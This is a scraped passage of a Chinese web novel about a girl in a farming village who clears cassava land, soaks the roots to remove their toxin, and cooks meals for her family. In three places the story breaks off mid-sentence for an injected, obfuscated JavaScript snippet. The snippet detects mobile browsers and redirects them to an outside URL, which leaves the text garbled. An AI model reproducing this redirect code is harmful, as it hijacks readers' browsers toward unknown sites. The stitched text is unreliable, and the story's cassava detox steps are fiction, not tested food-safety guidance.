他面上有些通红:“实在是家里开销大,别人家都道我们宽裕,可谁知道内里的苦。阿喜他哥在镇上读书,夫子说中童生的希望很大,我和他娘琢磨着,请人作保,去县里也是一笔大开支。阿喜年岁渐大,需要准备嫁妆,下面还有三个小的等着吃喝。咬牙厚着脸皮打了这把铲刀,没日没夜的干,希望能赚点钱!” 他深深叹口气,抬起右手晃了晃:“老天看不下我白白占你们便宜,这不,削石头的时候,铲刀竟然从中断裂,伤了手!” 刘青青不经意扫过张氏黝黑的面庞,赵刚粗糙的左手,就连小姑娘阿喜,手心都是薄薄的茧子,这是一家勤劳苦干的人。 张氏打阿云的时候,她自己没发现,都是往屁股上打,内里不是个恶毒的。 这个时代真没有产权保护一说,她其实不计较他们抄作业。刘青青从袖子中掏出一张纸递给赵刚:“刚叔,张婶,这便是我家铲刀铁锤的图纸,若你们需要,只管拿去铁铺,请人帮你们打。” 刘家这么干脆给了图纸,还不愿意收银子,张氏感觉更愧疚,铁了心把阿喜留在这里:“这丫头我养的粗,喂猪喂鸡洗衣做饭这些粗话只管使唤,等阿云腿好了,我再来接她。” 苏氏苦笑:“张姐,你的心我们真晓得了,大可不必如此!”张氏不依。 刘青青想了想:“张婶,我们家不宽敞,不好住。不如让阿喜姐姐明日一早过来,我们家开荒,需要她帮忙!” 张氏肚中思索了一回,女儿十四岁,留宿她确实不放心,一个村子里,明日一早让她过来。刘家三个女孩,总能处好。 & 次日一早,天刚刚亮,刘慧兰姐妹扛着锄头,背着背篓打开门,被门外的两个黑影吓了一跳。对面传来阿喜清脆的声音:“青妹妹,锄头给我罢!诺,这是我哥,沐休回来在家没事,听说要开荒,阿娘让他来帮忙。” 刘青青不是很习惯他们的热情:“你们,吃过早食了么?” “吃过啦!” 一行人走到山脚时,天光已经大亮。 刘慧兰望着密密麻麻长满接进一丈高植物的山地,一阵腿软:“二妹呐,你选中的这片地全是树薯,除了地上的树干,下面还有很深的根,很难清除的,不如换一片?” 刘青青笑了笑:“阿姊,要的就是树薯啊,既然叫薯,肯定和红薯差不多,能吃!” 跟着来的赵峰是赵喜的哥哥,浓眉大眼的小伙子,黑黝黝的,他摸摸后脑勺,挥舞锄头,一下子挖倒一颗树薯,露出地下七八支肥壮的根系,捡了一个捧到她面前,开口解释:“阿青妹妹,树薯根长得像红薯,两者不一样,有毒,不能吃!” “你们怎么知道有毒,吃过?” 三人面面相觑:“没吃过,但人人都知道啊!” “人人都知道就是对的么?有毒就有了呗,我们拿到河里把毒洗了,不就行啦!行吧,趁着日头不晒,我们赶快挖~” 赵峰兄妹凌乱了,什么叫有毒洗洗呗?毒还能洗。是洗泥巴么? 他们有些怀疑人生。 刘慧兰习惯妹妹不时冒出的异想天开,只是哦了一声,收集起树薯来。都知道树薯有毒,没人要,这些年天生地长,后山山脚全是。 二妹找阿娘要了房契,家里又闹了一场,阿娘哭诉二妹胡折腾。阿爹做主由她去:“我们家是女儿支棱门户,我们老两口少操心,你看看你,都有鱼尾纹了,我给你按按!” 二妹后脚把房契抵押给村长,定了后山靠河岸的二十亩荒地,全长满了树薯。她有些期待,要是能把毒洗掉,这么多树薯~ 想到这,她收集树薯的动作更快了些。 过了一会,村子里便有人自发来帮忙,大家伙热络的和刘青青打了招呼,帮忙清除地里的树薯杂草开荒。 树薯茎整齐的堆在地边,等晒干后运回家当柴火,收货的树薯用村长家的驴车一车一车拉到刘家后院。 今日大约来了五六十人,全是庄家老手,开荒开得很快,大家一边闲话一边分工合作。 刘青青扯了扯赵峰,从身上的布包里掏出一个小本子给他:“阿峰哥,你认字,麻烦帮我理理,都有哪些人来帮忙,他们每人一天干多少活计!” 拉着阿姊阿喜回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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村长今日很忙,自从赵刚家两口子来了后,后面陆陆续续来了很多村民,抱着现银来买荒地,三亩五亩不定,不到天黑,山脚那一片长满树薯杂草的荒地全都卖完,村里一下子入账170银子。他不敢置信捧着这么多银子,难道荒地里挖出了宝贝么?大家伙不管不顾掏出家底来买! 他把疑惑告诉徐氏,徐氏咂摸了一会提醒:“第一个来定荒地的是青丫头吧?” “是啊,她家没现银,用的房契抵押,说好一个月后给银子!”他之前没做过这事,这几天寝食难安,很怕到时候刘家没银子,难道他真能把房子给收了? 徐氏有些懊悔:“她早些时候借了我们家驴车拉树薯,还问我要不要也挖一些回来放着,我想着树薯有毒,没应。” 村长:“现在晚了,长树薯的荒地全被卖咯。”他摸了摸匣子里的银子:“老婆子莫伤心,我为衙门卖了这么多荒地,有奖励的。” 大魏鼓励开荒,熟田价四两左右,税十取一。荒地只要一两,头五年不收税,五年后正常纳税。 他卖了170两银的荒地,加上刘家欠的20两,能有1.9两银的奖励。 想想都兴奋,跟在刘青青身后村长,什么都没做,就有1.9两的进账。 兴奋之余,他也很奇怪,刘青青弄有毒的树薯作甚? 26. 第 26 章 被念叨的刘青青忙得脚不沾地,树薯即木薯,有毒性,生食会导致中毒,轻者呕吐抽搐,重者休克死亡。 村子里每天至少有五六十人来帮忙开荒,刘青青定的二十亩地,整整用了三日的功夫,才弄完,按照市价,每人一天开荒付20文工钱,刘青青手里一下子去掉三两六,镇上请木匠打了十个人高的大木盆二两,一盘大石磨一两,五把小削刀400钱,便一文不剩。 她在太阳下,一面拍打着有些潮湿的铺盖一面叹息,什么时候才能睡上新木床啊。山里湿气重,才一个多月,她铺盖下的稻草全发了霉。 刘青青寻思着从哪里弄点钱来请工帮忙加工木薯,买了荒地的人家,派家里的妇人络绎不绝上门拜访,询问她家祛毒的秘方,愿意出钱买。 很好,经过那日祠堂门口的洗礼,大家都知道规矩,她愿意给是恩情,不愿意给是本分。不要想着不劳而获,道德绑架。 刘青青笑盈盈不肯收钱:“各位婶子,我这秘方很简单,放在水里洗洗就好,你们回去试一试就知道。” 各个大婶子小媳妇:“……” 有那么简单的话,能让那些树薯自生自灭长了好几十年。 张氏是个会来事的,提出了大家的心声:“你们家这么多树薯堆着,不如你说着,我们动手,一起洗了!” 刘青青惭愧,连连拒绝:“不行,家里分文不剩,实在没有工钱付给大家伙。” “嗨,你教我们树薯祛毒的秘方,比那点工钱值多了!” 来的都是伶俐人,捞起袖子,提水的,抬盆的:“要咋个洗哦!” 刘青青:“那好吧,先把树薯泡在水里一昼夜!” 就这么简单? 刘青青:“后面还有几步,各位婶子姐姐回去也把家里的树薯同样处理一下。” 次日,大家伙来到刘家。刘青青捞起一支木薯示范给大家看:“诺,这样泡一夜,小削刀能快速不费力的把皮给掰掉。这些皮有剧毒,千万别给牲口吃,晒干后做柴火不错。” 刘青青演示了一遍,小手轻微一用力,掰开褐色的皮,漏出里面雪白的树薯肉。她换了家里的菜刀,把去掉皮的树薯切成一段一段,从中间破开,丢在另外一个装满清水的大木盆,诺像这样,继续泡七天。 这就可以了么? 来的人面面相觑,不相信这么简单,依葫芦画瓢,帮着把泡好水的十盆树薯去了皮切小洗净后换到新的木盆中。 大伙心里有疑虑,但回家后有样学样,依次照做。 刘青青很开心,因为傍晚的时候,赵垚送了郭守云回来。 阿云一看到刘青青,焉哒哒的脑袋瞬间支棱起来,全身都是欢喜,刘青青恍惚觉得,若他身后有一条尾巴,一定会摇成风火轮罢。 可惜,他右腿上打了石膏,是个瘸腿的小狗狗。 平时郭守云最爱的便是顺着刘家的大后院转圈圈,这里看看,那里望望,检查荆棘长成的篱笆,有没有没破坏入侵。 伤筋动骨一百天,刘青青一想到他爱遛弯的性子竟要枯坐三个月,便替他忧心。 赵垚灌下一碗白开水:“他伤得不重,只是脱臼,姜老大夫已经接好!这几日衙门里公务忙,耽搁到今日才回来!” 刘有山不解:“脱臼用的着打石膏么?” 赵垚瞥了一眼安安静静乖巧坐在那里的郭守云,冷笑道:“这小子野着呢,我背着他去城里,半道他能扯着路边的树枝,从框里翻出来,要不是他腿瘸了,我还逮不住他。 姜老大夫给他接骨,许是疼了些,他张嘴就给人家一口。” 他看着刘慧兰道:“姜老大夫说,要你做样美食让我带进去,不然这口恶气实在咽不下去。” “好不容易接好关节,他半夜逃脱,因迷路翻墙,被巡夜的同僚扣下,因他不老实,和我同僚动手,接好的关节再次脱臼。 接好后,姜老老大夫担心他乱动,弄成习惯性脱臼,干脆给他打了石膏。” 赵垚回想这鸡飞狗跳的四天三夜,心好累。 迎着大家吃惊的目光,郭守云好像听不懂赵垚的告状,无辜的眨着一双清凌的眼,可怜巴巴的看着刘青青。 他什么话都没说,但刘青青知道他的意思:你说的好吃的在哪里? 刘青青摸摸鼻子,讪讪的笑了一笑,这几天开荒泡树薯,忙得昏天暗地,早把这事忘记了。 她没从怀里掏东西,郭守云抿着嘴:“忘?” 只见郭守云棱棱的双眼一下子浑浊起来,暗淡了下去,本来挺直的变得弯曲,耷拉着脑袋,翘挺的头发软软趴下,贴在头皮上,活像被主人抛弃的小狗狗。 刘青青:“” 不就是点吃的,有必要这么,委屈么! 她心有点不安,脑中快速的算计着,家里还能做点啥? 刘慧兰看见他们这样,悄悄捂着嘴笑了一下,给了二妹一个眼色,刘青青一激灵,是哦,肘子抹了盐巴腌着呢,就吃肘子! 她拍拍郭守云的脑袋:“给你留着呢,要现做,你等着!”风一般跑进了耳房。 刘慧兰晓得她舌头厉害,但火候掌握不好,起身解释了一句,跟着去帮忙。 & 刘有山盛情相留,赵垚没有拒绝,一家子等着上菜。 等得太阳都落了山,刘蕙兰端了一盆菜上来,砰放在桌上。她不是有意的,实在太重了,连盆带菜得有十多公斤。 刘青青眉开眼笑:“尝尝呗,红豆酸菜猪脚杂菜汤!” 只见锅里,白莹莹的萝卜丝,绿油油的菘菜叶,沙红红的花豆子,黄生生的老姜,油晶晶的肘子肉,隐没在雪白的浓汤里,五颜六色冒着热气,一股子浓香使劲儿往鼻孔里钻。 农家人没那么多讲究,一人一碗是碎米饭,便开吃起来。 刘青青故意挑了一片带皮的肘肉给郭守云,期待的看着他。 这是完全不同于红烧肉的一种味道。 红烧肉颜色鲜亮,烂襦浓香,鲜甜软腻,让人一口产生极致的愉悦,但吃多了以后,会有些发腻,郭守云算是刘家最爱吃肉的,一顿吃个十五六块后,也不愿再碰。 今日做的肘子肉不一样。 入口q弹筋骨,越嚼越香,吸收了萝卜丝酸菜的酸味,综合油腻的皮脂,变成了一种欲罢不能的鲜香。 好吃! 郭守云词汇量寥寥无几,他变得挺着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850682|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小背脊,发亮的眼睛,已经说明了他对这道菜的认同。 作为配菜的萝卜丝,红豆,菘菜,吸收了肘子上的油腻后,恰到好处,带着肉类的浓香,保持了蔬菜的脆爽,极其下饭。 刘慧兰之前心疼,家里加上赵垚,七个人能吃完这么一大盆菜么?吃不完完全是浪费哦。 现在知道,她的担忧完全是多余的,大家筷子飞舞,就连胆小的幼妹,也敢站起来,自己从盆里捞菜吃。 刘青青吃了一碗就放下筷子,鲜香酸爽,但还缺一点味道,这道菜若是配个蘸水,放点乳腐糊辣椒,她还能再干三碗。 她旁敲侧击询问过好几次,这里竟然还没辣椒,真是人生一大憾事。 吃饱喝足,刘青青领着赵垚去后院,炫耀堆成一座小山等待祛毒的树薯。 赵垚小心仔细的用帕子清理络腮胡子。 汰,这胡子让他面相老成,公务上帮了他不少忙,只是在刘家吃饭时,忒不方便。 他漫不经心看到那一堆树根,有些不解:“你弄这么多树根回来作甚?难道准备卖柴火?我跟你说,镇上不缺柴火,县城太远,这些柴火拉到县城,不值路费钱。你什么时候变得这么傻?” 听到他嘲笑刘青青,死活跟着来的郭守云不愿意了,蹦着打石膏的腿,朝他龇牙。 刘青青用看傻子一样的眼神看着他,示意他往盆里看。 赵垚悻悻走到小山后,并排摆着的十个大水盆让他惊诧不已,里头都是小段小段雪白如盐的根块,他有些紧张期待:“这能干啥?” “磨细后过滤,渣滓喂猪,细粉就像嗯,红薯粉一样,可以吃!” “所以还是不如面粉好吃啊!” “口感是不如,但你知道这堆树薯有几斤么?” 赵垚瞟了一眼比他还高的小山,猜测了个数字:“4千公斤?” 刘青青轻蔑一笑:“你少了个零!” “4万公斤?!怎么可能。” “怎么不可能,我一袋一袋数的。”刘青青哼了一声,当她这几日白忙乎呢。 也许产粉低呢。 “一公斤能出多少细粉?” “二两吧!” “多少亩地产的?” 刘青青有些不满:“因是野生的,没除草施肥浇水,自生自灭,亩产量有点低,二十亩才收了这么点。” 赵垚提高了声音,不自信的掏了掏耳朵:“你说二十亩?没记错吧?”没经过管理下的,亩产二千公斤,要是勤快除草浇水施肥,那得多少? 刘青青好似听到了他的心声,估摸着答:“若正经栽培,勤细管理,也许能有4千公斤” 末世的时候,改良后的木薯产量能达8千公斤,这里种子没改良,也没有专业的肥料,亩产减一倍,不夸张。 赵垚算了一笔账,出粉率是五分取一,一亩地能得,嗯800公斤细粉,像麦面一样的细腻。最优质水田亩产400公斤,能出米300公斤,最肥黑土地亩产小麦300公斤,能得麦面280公斤。 是水稻的两倍,小麦的两倍多。 他呼吸变得急促,顾不了胡子上的油还没擦干净,严肃郑重:“你确定没算错么?” 27. 第 27 章 刘青青看了他一眼,理解他的紧张。 清水沟村村民吃的主食是碎米和面粉,那是过年才吃的精细粮食。家家人多粮少,平时吃的是野菜稀粥,红薯饭,南瓜饭等。 后院有地的地方,种满萝卜菘菜南瓜豆子茄子丝瓜等,时刻补充着粮食的不足。 肥沃的水田土地是有数的,经验丰厚的老农精细伺候土地一年,能亩产300公斤大米,能干名声能传颂十里八乡。 若树薯真的能翻一倍的产量,据刘青青话里的意思,这作物不挑地方,那代表什么,代表农家以后不再缺粮,能人人填饱肚子。 他是农家出身,机缘巧合在县衙里吃公饭,耳濡目染下,知道全县的情况大同小异。 唯一的问题是,树薯有剧毒,不晓得用刘青青的法子,能不能把毒素清干净。 他眼神炙热的看着刘青青,不晓得是不是他的心里因素,他觉得刘青青身上冒着一层金光,像菩萨座下的玉女一样,是他的财神爷,想把她供起来,一日瓜果贡品三炷香。 他的目光太过热烈,刘青青很理解,她看见丧尸晶石的时候,眼睛发出的光一样,至少他没有流口水,已经相当克制了,不以为意。 因还没泡够七天,赵垚有太多的急切也只能老老实实等着,带上刘慧兰给姜老大夫准备的卤鸡蛋恋恋不舍骑马回城,约好下次沐休再来。 但身后的郭守云不愿意了,阿青是他最好的伙伴,这个全身都是毛的大猩猩这样盯着他的小伙伴,想干嘛? 这是明晃晃的挑衅。 郭守云对比了一下大猩猩的身材和自己的小身板,无奈的得出结论,他打不过大猩猩。 面对仇敌黑熊的时候,他也打不过,尾随黑熊许多天,当它和刘有山等起冲突,被打伤的时候,他趁机砸石头,报了狼妈妈的仇。 他在脑瓜子里飞速的思索着,该怎么胜过大猩猩。 大猩猩身板比他壮实,身手也比他伶俐,想这方面胜过他好像不太现实。 作为室友,他发现刘青青总是趴在她的窝里,在一张纸上涂涂画画,抱怨自己的画的不好看。 据他观察,大猩猩画得也不好看,城里扯他手臂的那个老猴子倒画得清爽干净。 他眼前一亮,找到能超过大猩猩的地方了,他也要涂涂画画,以后代替小伙伴趴在窝里涂画,小伙伴就丢不下他,只能跟他玩。 他一把拉过送客人出门的刘青青回房,从她被窝里翻出她的小本本,眼睛闪亮闪亮:“教我,画!” 刘青青有些意外,话都说不利索,怎么教哦!对上他期盼的眼神,不忍心拒绝,想了想道:“你腿好了我教你。现在你帮我看看棉花去!” 她答应了,郭守云重重点了点头,“哦!” 土地准备好,不晓得棉花发芽发得怎么样。 刘青青领着郭守云转悠到后院棉花苗圃里,翻开薄薄的沙土层数了数,撇一眼身旁的学生,要不从数数开始? 二十颗种子,发芽4颗,发芽率百分之二十。 夭寿哦,这发芽率低得厉害啊。 正常情况下,发芽率至少在百分之五十,这几日天气晴朗,温暖适宜,难道是水分不够? 她示意郭守云在一旁等着,提着两只小桶到池塘里打水。 手里实在没钱买鱼苗,挖的池塘依旧空着,因池塘和清水河联通,跑了些小蚂鱼进来,这些天长满了浮萍,看着倒也生机盎然。 她走下台阶,晃开浮萍打水,眼角扫过桶里的一抹绿色。 卧了个槽,是蛇! 一条手拇指粗的绿蛇躲在浮萍睡觉,突然被晃动,而后离开了水面,看到人影,也吓了一跳,扭头张嘴便咬。 被丧尸咬的阴影再次笼罩在刘青青头顶,情急之下,上辈子得到的异能,小水枪发射——biubiubiu,精准打击在绿蛇长大的嘴巴里。 本想咬人的绿蛇被喷了一头水,咽下好几口,懵逼的打了个嗝,像是喝醉了酒一般,摇摇摆摆缓缓爬走了。 刘青青惊魂未定,这么长时间的安宁生活,让她几乎忘记了危险,幸好她有小水枪这个攻击异能,等过些日子,去大山里打野猪去。 因绿蛇重新爬回池塘,她有些怯怯,懒得再换水,提着水桶转身便走。 到了苗圃,匆匆换水进喷壶浇了一遍棉花苗,招呼郭守云,两人一起回屋。 郭守云看了看她发白的面色,朝着池塘迷了眯眼,没吭声,乖觉的由着她掺扶。 & 晚间,郭守云听了听刘青青平稳的呼吸声,轻手轻脚爬起来,钻出房屋。 他摸到杂物间,寻了把钳子,提了网,蹑手蹑脚去到后院。 月光下,池塘里波光凌凌,微风拂过,浮萍轻轻漾动。他清凌的眸子变得锐利,锁中了池塘中间一处幽暗的碧绿。 就是这条小长虫吓到阿青? 你以为躲在池塘正中间,小王我就弄不到你么? 他低头看看自己腿上的石膏,伸手一扯便把绑着的纱布扯了,脱下衣服光着脚,捏着网走下池塘。 池塘不算深,一米左右,郭守云刚好露出个头,他慢悠悠靠进,晃动的池水惊醒了绿蛇。 它很喜欢这个池塘,里头有许多小蚂鱼给它吃,还没有讨厌的野鸭子追啄它。再次被打扰,绿蛇表示很生气,张口露出尖利的牙要给打扰它的人,一个结实的教训。 只是还没咬到人,就被他出手如电,捏住颈下七寸,疼得它翻了个白眼,差点原地去世,激烈扭动身躯徒劳的挣扎。 郭守云轻蔑一笑,小爷在大山里称霸的时候,你还是颗蛋呢! 他捏着蛇优哉游哉上了岸,钳子用力,便拔了绿蛇的两颗毒牙,翻出篱笆墙,晃悠悠走到下游,捡了十多颗石头,狠狠砸到河心的野鸭窝里。 老猴子说啦,他的腿不能用力,不然以后瘸了青青不要他。 野鸭子受惊,嘎嘎叫唤,郭守云躲在草丛里,高高举起绑了绿蛇的棍子晃了两下。 绿蛇被绑了下半截,上半截身子不停的扭动挣扎,野鸭看到送上嘴的肉,兴奋的呼啦啦飞过来。 十多张嘴一起抢啄绿蛇。 若绿蛇能说话,估计早就痛得哭爹喊娘。 郭守云看准时机跳起漫天撒网,野鸭惊走,逃飞一些,网里还剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850683|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六只,不停的扑腾。 郭守云收紧渔网,每只鸭子先狠狠在鸭子脑袋头顶,打上一巴掌,叫它们昏过去,施施然拿出剪刀,顺着翅膀根剪了一下,让它们以后不能再飞。 养几只野鸭在后院,以后不敢有蛇来,免得吓到阿青。 他锐利的目光直视绿蛇眼睛,里头好似有风暴在酝酿。绿蛇对视挣扎了一会,最后无力垂下了脑袋。 这是野兽之间的交流,绿蛇保证以后不敢再来侵犯小狼王的领土。得到自由的它,毫不记仇,像长了腿一样,飞速的朝着远方爬去。 笑话,实力差不多才记仇,人家捏死它就像它吃小蚂鱼一样,这仇还怎么记。 嘶嘶,它一定远走天涯,躲得远远的,太可怕了,狼王拔了它的牙,还让鸭子啄它。幸好它还能再长牙。 郭守云把鸭子丢到刘家池塘边,自己洗了个澡,原样穿好石膏腿和衣服,瘸着腿回屋睡觉。 & 刘青青是被幼妹惊喜的声音闹醒的。 什么事,这么开心? 当她来到后院,看着从池塘里优哉悠哉钻水捉鱼吃的六只野鸭子时,也惊讶得合不拢嘴。 还有主动往家里钻不飞走的鸭子? 翠翠一手拿着一颗鸭蛋,兴奋的在池塘边跳过来蹦过去。 “二姐,蛋,吃蛋羹咯,吃蛋羹咯!” 哟,妹妹能连贯说四个字拉。 好吧,家里没养鸡,倒先养上了鸭,看在它们下蛋给妹妹吃的份上,她收起吃烤鸭的打算。这个池塘真是挖的妙啊。 她仔细顺着浮萍找了一遍,除了不时偷偷露头的小蚂鱼,没找到绿蛇的影子,想来被鸭子赶走拉。 她记挂自己的棉花苗,重新提了两桶水去看。 当她揭开沙层,再次大吃一惊,发生了什么,二十颗种子,12颗冒出了肥嫩嫩的绿芽。发芽率一下子涨到了百分之六十。 她不敢置信的再扒拉了另外一片,嗯二十颗只发芽5颗,没什么变化。难道是巧合么? 她折回到第一片苗圃,换个地方从新扒拉,二十颗发芽13颗。 所以两片苗圃,一片发芽率是百分之六十,一片是百分之二十,一样的种子,一样的种法,之前还是好好的,唯一的差别是昨夜浇了水! 她回想昨夜浇水的每一个细节,发芽率高的苗圃浇了右手水桶的水,那是蛇呆过的! 是蛇让发芽率变高?清水沟的蛇这么厉害? 茫茫山野,她上哪把那条蛇逮回来? 再说,蛇天天呆在池塘里,也没见池塘里的浮萍比外面的长得更好哇。 所以,不是蛇,是她的、小水枪! 刘青青被自己的推论惊住了:自己的异能小水枪不是攻击性的,是种植辅助性的? 她一言难尽的咽了咽口水,难怪去滋丧尸没用,原来是用错了方向。应该去滋植物,让植物大战僵尸,荆棘长高捆住丧尸,她就可以肆无忌惮撬晶核,唏,好刺激。 刘青青用力克制激动得要颤抖的身子,她想立马试验一番,奈何一家人在后院看鸭子,忍着沸腾的心跳,老老实实打水浇棉花。 50-60 第51章 第51章秧鸡不是鸡 五月的清水沟,田地里一片青翠,稻谷尽情的生长,在微风中波涛起伏,滚向远山。翠绿深绿相接,与碧蓝的天空,不用美颜就是山水田园画。 阿云坐在田埂上看书,身边放着她常用的背篓。远远的看见她便笑了起来。 两人一前一后,顺着田埂绕了圈,果然在谷田水面上,不时发现些许灰褐色的羽毛,她捡了一片,认不出这是什么鸟! 想必是来偷吃稻谷嫩芽的罢。 绕着田埂寻了半天,能听到近在耳边的呱呱声,却连鸟影子都没看见,刘青青顿感一阵无力。 说实话,伺候田地上,她有丰富的理论知识,不如那些一辈子在田地里挥洒汗水的老把式有经验。 郭守云看着她微微一笑,从一旁的背篓里,提出一样东西,是棉花和黑炭! 两只小狼长大了许多,冒出了点点牙桩,看见刘青青,开心的过来用脑袋蹭蹭她的脚,睡在她旁边打滚,等着她挠痒痒。 棉花和黑炭平时关在笼子里,郭守云遛自己的时候,顺便把两只小狼牵出来一起,郭守云正式拜了赵峰为师,准备了四礼那种。赵峰也认真起来,不是那种顺便有空的教导,而是每天认真备课的一对一辅导,郭守云每晚点着蜡烛消化苦读,遛狗时间大幅度缩水,两只小狼根本不尽兴。 刘青青习惯性撸了一会毛,旷野里,除了风吹稻谷带动沙沙声,间或传来一声鸟叫。 两只小狼奶呼呼竖起小尖耳朵,兴奋呜嗷一声翻起来,顺着纵横交错的田埂乱钻,瞬间跑得不见踪影。 不一会两小只跑回来,邀功的把嘴里叼着的猎物放在刘青青脚下,一溜烟又跑了! 啧,灰色的毛,如鸽子大小的肥鸟,都是一嘴被咬中脖子毙命。 刘青青盯着看了半响,想了想:“这是秧鸡?” 还真是! 秧鸡不会飞,躲在稻田里,以稻田里的虫鱼为食,头小身子肥,腿细灵活,极其难捕捉,棉花和黑炭不愧是狼的基因,天生的猎手,一下子就抓到两只。 不过秧鸡是益鸟,应该多保护。 刘青青声音有些严厉、扬声喝道:“棉花,黑炭回来!” 不一会,两小只嘴里各自又叼了一只肥胖的秧鸡回来,放在刘青青脚下,睁着绿汪汪的眼睛,歪着头看着她,不明白她怎么还不挠痒痒。 郭守云面色有些绷不住,棉花黑炭平时他在喂养照顾,两小只逮回来的猎物,两次了,都是送给刘青青,他瞬间理解了书上白眼狼三个字——不是翻着白眼的狼,而是面前的两小只。 刘青青板着脸道:“以后不能再抓这种鸟!” 两小只委屈巴巴的,低着圆头圆脑的脑袋,小爪子在地上挠啊挠,黑炭昂起脑袋觑了她一眼,做贼心虚,从嘴里吐出了三颗小蛋。棉花见状,老老实实也吐出了三颗。 刘青青目瞪口呆,黑炭这小家伙,竟然会藏私!棉花那傻样,肯定是跟着学的。 她瞬间不好了,对着两只小狼滔滔不绝上起了诚实的一课, 郭守云嘴角悄悄翘起,看着抓毛的刘青青,有些好笑,一向成熟的她,竟然也会有犯蠢的时候,她讲的大道理,两小只根本听不懂! 诺,两小只表面蹲着直直的,可是眼珠子都要钉到鸟蛋上啦。 他掩饰的咳嗽了一声,安慰她:“没事,黑炭第一次出来,太激动哩,你放心,我会教它们,不会让它们伤人。” “这四只殃鸡怎么办,丢掉么?” “丢什么啊,浪费,带回去吃呗!” 郭守云哦了一声,示意两小只把鸟蛋吃了。 两小只总算长回了良心,在他脚边蹭了两圈。 郭手云提起四只秧鸡放在背篓里,随意搭在肩上,等近了村子,弯下腰招呼两小只爬进去。 两人和平时一样,刘青青巴拉巴拉讲着,郭守云静静听着,偶尔提出一个犀利的问题。 刘青青感觉乡亲们热情了许多,见到她都笑着打招呼,经过菜地,孙婶非要塞给她一把芋头花,南瓜藤。 她想了想,孙婶家小孙女报名去了村小,想必是感谢苏氏教孩子针线。都是菜地里的东西,不算贵重,她爽快接住后笑嘻嘻的道谢。 带回家的四只秧鸡,开水烫毛后拔除干净,剩下一点绒毛在火盆上烧掉,开腹去内脏,冲洗干净血水,抽掉大骨后,放在砧板上连着小骨,细细剁碎,撒一点盐巴和葱叶盖上盖子腌制一刻钟。 抽出的大骨和内脏,两小只眼巴巴的看着,她在小炉子上煮熟后给两小只吃,两小只欢喜的嗷呜嗷呜抱着啃。 这时节的南瓜藤蔓繁茂,满地乱爬,豆子大小的南瓜顶着黄色的花,像戴着王冠的小王子,羞答答躲在层层叶片下,南地的百姓将过日子发挥到了极致,折去多冒的南瓜藤,留下主支,好让南瓜吸收来自根茎的养分,长成个胖墩墩。 折断的南瓜藤舍不得丢,才冒尖的叶片,肥噔噔厚嘟嘟,嫩得一碰就是个印子,洗干净切细开水焯一下,加上井水,撒点盐舀一勺油,煮开后就是一道下饭的美味。 芋头花长如手臂,小拇指粗细,下面水粉色的花茎,最上面巴掌长的嫩黄色花皮,掰开后漏出里头鲜艳夺目的花穗,刘青青手腕一翻,花穗扣个干净,靠根茎折断半个拇指长一节,顺着一扯,撕掉表皮,再折断成拇指长的小块,放油滑锅,黄姜蒜米炒香,加入切片的茄子和芋头花翻炒,炒到变色,起锅装碗,端到甑子里米饭上同蒸。 说起蒸饭,也是门学问,末世用电饭煲,放上水米,电源一插,饭便煮好了,方便快捷,但米饭吃着总感觉差点味道。 刘青青一边烧火,一边看刘慧兰行云流水做饭,每一样安排得妥妥当当的。 冷水下锅,将泡过的米倒入,煮得用手心捏只剩米心的时候,筲箕控干,半熟的米饭倒入甑子里上锅蒸,筲箕下的米汤雪白粘厚,刘青青等不及舀了一碗,撒一点盐巴,分了一半给两小只,一会就喝完。 没长牙的两小只就靠这东西长大。 等甑子上的热气冒得厨房里热乎乎的,刘慧兰端走甑子放在桌上,锅里加油,加入姜葱蒜花椒炒香,倒入剁碎的秧鸡肉,旺火爆炒变色,加盐后起锅装盘。 热气腾腾的米饭,三菜一汤便做好了! 刘有山看一眼殃鸡肉,眉开眼笑:“阿云,去帮我倒一杯泡酒!”被苏氏一愣眼,弱弱改成:“算了,倒一口!” 因秧鸡肉剁碎,筷子夹不起来。刘慧兰体贴的一人盛了一碗饭,用小勺分了满满一勺秧鸡肉。 刘青青接过碗,与米饭拌开,粒粒饱满分明的米饭,搭配香浓的秧鸡肉,好吃得能吞掉舌头。 刘有山已经吃完一碗,重新添了一碗,叹道:“人人都道牛肉好吃,我看秧鸡肉比牛肉稀奇多了!” 苏氏:“说得你好像吃过牛肉似的!” “以前没吃过,不代表以后不行!我听村长说,我们村要参加这次的斗牛大赛,让大家伙一起寻摸一头合适的牛呢!” “哟,秧鸡肉没啦!嗨,秧鸡肉好吃,可惜太难捕捉!” 刘青青翻了个白眼:“阿爹,总共四小只,你一个人就吃了接近两只,哪里还有!你尝尝芋头花,南瓜藤,也好吃!” “哪个喜欢吃这些没肉的啊!”刘有山嘴上嫌弃,身体不嫌弃,用小勺划拉几下,南瓜藤和芋头花就去掉了一半! 殷勤舀了一勺到苏氏碗里:“要我说,还是慧兰蒸的芋头花好吃,软糯鲜香,入口即化!比你做的好!” 苏氏嗔他一眼:“吃你的罢,话这么多!” 至于没吭声的蕙兰,翠翠和阿云,三人静悄悄的干了三碗,一碗秧鸡肉拌饭,一碗芋头花拌饭,一碗南瓜藤拌饭。 刘家餐桌上,不出所料的再次光盘。 